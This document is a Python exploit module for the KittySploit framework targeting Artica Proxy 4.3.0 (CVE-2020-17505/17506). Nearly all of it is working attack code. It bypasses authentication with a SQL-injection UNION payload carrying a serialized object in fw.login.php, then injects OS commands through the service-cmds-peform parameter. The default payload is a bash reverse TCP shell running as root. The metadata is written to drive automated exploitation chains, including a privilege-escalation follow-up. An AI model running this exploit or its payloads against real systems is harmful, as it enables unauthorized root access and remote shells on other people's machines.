Artica Proxy 4.3.0 - Auth Bypass/OS Command Injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):

	__info__ = {
		"name": "Artica Proxy 4.3.0 - Auth Bypass/OS Command Injection",
		"description": "Artica Web Proxy 4.30.000000 allows an authenticated remote attacker "\
      					"to inject commands via the service-cmds parameter in cyrus.php. "\
               			"These commands are executed with root privileges via service_cmds_peform",
		"author": "KittySploit Team",
		"cve": ["2020-17505","2020-17506"],
		"arch": [Arch.X86, Arch.X64],
		"platform": Platform.LINUX,
		"category": "singles",
		"payload": {
			"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
			"arch": "cmd",
			"platform": ["unix","linux"],
			"category": "singles",
			},
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['exploit_paths', 'risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': [],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
	     'consumes_capabilities': [],
	     'option_bindings': {},
	     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
	},
	}	

	def bypass_auth(self):
		login_endpoint = "/fw.login.php?apikey="
		serialize_object = self.encode_base64('a:2:{s:3:"uid";s:4:"-100";s:22:"ACTIVE_DIRECTORY_INDEX";s:1:"1";}')
		injection = f"%27UNION%20select%201,%27{serialize_object}%27;"

		print_success("Bypassing authentication...")
		r = self.http_request(
					method = "GET",
					path = login_endpoint + injection,
					verify = False,
					session = True
					)
		
	def run(self):
		self.bypass_auth()
		print_status("Send shellcode")
		r = self.http_request(
					method = "GET",
					path = f"/cyrus.index.php?service-cmds-peform=||{self.payload}||",
					verify = False,
					session = True
					)
		if r.status_code == 200:
			self.vulnerable()
			return True
		else:
			self.not_vulnerable()
			return False
		return False